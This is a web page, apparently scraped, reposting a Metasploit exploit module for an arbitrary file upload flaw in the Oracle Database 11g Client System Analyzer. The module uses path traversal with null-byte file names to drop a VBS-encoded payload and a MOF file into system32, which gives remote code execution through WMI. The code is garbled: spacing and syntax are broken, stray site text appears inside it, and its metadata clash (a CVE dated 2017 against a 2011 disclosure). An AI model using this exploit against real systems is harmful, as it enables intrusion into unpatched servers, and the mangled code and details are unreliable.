Oracle Database Client System analyzer Arbitrary File Upload

Source: Internet
Author: User

### This file is part of the Metasploit Framework and may be subject to # redistribution and other cial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use .# http://metasploit.com/## Require 'msf/core' class Metasploit3 <msf: Exploit: Remote Rank = ExcellentRanking HttpFingerprint = {: pattern => [/Oracle Containers for J2EE/]} include Msf :: exploit: Remote: HttpClient include Msf: Exploit: EXE include Msf: Exploit: WbemExec def initialize (info ={}) super (update_info (info, 'name' => 'oracle Database Client System Analyzer Arbitrary File upload ', 'description' => % q {This module exploits an arbitrary file upload vulnerability on the Client Analyzer component as pinned ded in Oracle Database 11g, which allows remote attackers to upload and execute arbitrary code. this module has been tested successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution through the Windows Management Instrumentation service has been used .}, 'author' => ['authorization', # Vulnerability discovery 'juan vazquez' # Metasploit module], 'license '=> MSF_LICENSE, 'platform' => ['win'], 'privileged' => true, 'references '=> [['cve', '2017-2010'], ['ossvdb', '123'], ['bid ', '123'], ['url ',' http://www.zerodayinitiative.com/advisories/ZDI-11-018/ '], ['Url ',' http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html '], 'Targets' => [['oracle Oracle11g 11.2.0.1.0/Windows 2003 SP2', {}], 'defaulttarget' => 0, 'disclosuredate' => 'Jan 18 2011 ') register_options ([Opt: RPORT (1158), OptBool. new ('ssl ', [true, 'use SSL', true]), OptInt. new ('dest', [true, 'traversal DEPTH to reach the root', 13])], self. class) end def on_new_session (client) return if not @ var_mof_name return if not @ var_vbs_name vbs_p Ath = "C :\\ windows \\ system32 \#{@ var_vbs_name }. vbs "mof_path =" C :\\ windows \ system32 \ wbem \ mof \ good \\#{@ var_mof_name }. mof "if client. type! = "Meterpreter" print_error ("NOTE: you must use a meterpreter payload in order to automatically cleanup. ") print_error (" The vbs payload (# {vbs_path}) and mof file (# {mof_path}) must be removed manually. ") return end # stdapi must be loaded before we can use fs. file client. core. use ("stdapi") if not client. ext. aliases. include? ("Stdapi") attrib_path = "C: \ windows \ system32 \ attrib.exe-r" cmd = attrib_path + mof_path client.sys.process.exe cute (cmd, nil, {'did' => true}) begin print_warning ("Deleting the vbs payload \" # {@ var_vbs_name }. vbs \"... ") client. fs. file. rm (vbs_path) print_warning ("Deleting the mof file \" # {@ var_mof_name }. mof \"... ") client. fs. file. rm (mof_path) rescue: Exception => e print_error ("Exception: # {E. inspect} ") end def upload_file (data) res = send_request_cgi ({'url' => '/em/ecm/csa/v10103/CSAr. jsp ', 'method' => 'post', 'data' => data}) return res end def check file_name = rand_text_alpha (rand (5) + 5) file_contents = rand_text_alpha (rand (20) + 20) data = "sessionid1_1_file_name1_.txt \ x00.xml" data <"\ x0d \ x0a" data <Rex: Text. uri_encode (file_contents) print_status ("Uploading the CSA # {fi Le_name1_.txt file ") res = upload_file (data) if not res or res. code! = 200 or (res. body !~ /Posted data was written to placeholder file/and res. body !~ /CsaPostStatus = 0/) print_error ("The test file cocould not be uploaded") return Exploit: CheckCode: Safe end print_status ("Checking uploaded contents... ") res = send_request_raw ({'uri '=>"/em/csa1_1_file_name1_.txt "}) if res and res. code = 200 and res. body = ~ /# {File_contents}/return Exploit: CheckCode: Vulnerable end www.2cto.com return Exploit: CheckCode :: appears end def exploit # In order to save binary data to the file system the payload is written to. vbs # file and execute it from there. @ var_mof_name = rand_text_alpha (rand (5) + 5) @ var_vbs_name = rand_text_alpha (rand (5) + 5) print_status ("Encoding payload into vbs... ") # Only 100KB can be uploade D by default, because of this "to_win32pe_old" is used, # the "new" template is too big in this case. exe = Msf: Util: EXE. to_win32pe_old (framework, payload. encoded) # The payload is embedded in a vbs and executed from there to avoid badchars that # URLDecoder. decode (jsp) is unable to decode correctly such as 0x81, 0x8d, 0x8f, #0x90 and 0x9d vbs = Msf: Util: EXE. to_exe_vbs (exe) print_status ("Gen Erating mof file... ") mof_content = generate_mof (" # {@ var_mof_name }. mof "," # {@ var_vbs_name }. vbs ") traversal = ".. \ "* datastore ['dest'] data =" sessionID = # {traversal} \ WINDOWS \ system32 \#{@ var_vbs_name }. vbs \ x00.xml "data <" \ x0d \ x0a "# The data to upload must be uri encoded because the vulnerable jsp will use # URLDecoder. decode on it before writting to file. data <Rex: Text. uri_encode (vbs) p Rint_status ("Uploading the payload into the VBS to c :\\ WINDOWS \ system32 \#{@ var_vbs_name }. vbs... ") res = upload_file (data) if not res or res. code! = 200 or (res. body !~ /Posted data was written to placeholder file/and res. body !~ /CsaPostStatus = 0/) fail_with (Exploit: Failure: Unknown, 'vbs upload failed ') end data = "sessionID = # {traversal} WINDOWS \ system32 \ wbem \ mof \ # {@ var_mof_name }. mof \ x00.xml "data <" \ x0d \ x0a "data <Rex: Text. uri_encode (mof_content) print_status ("Uploading the mof file to c: \ WINDOWS \ system32 \ wbem \ mof \ # {@ var_mof_name }. mof... ") res = upload_file (data) if not res or res. code! = 200 or (res. body !~ /Posted data was written to placeholder file/and res. body !~ /CsaPostStatus = 0/) fail_with (Exploit: Failure: Unknown, 'mof upload failed') end endend

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.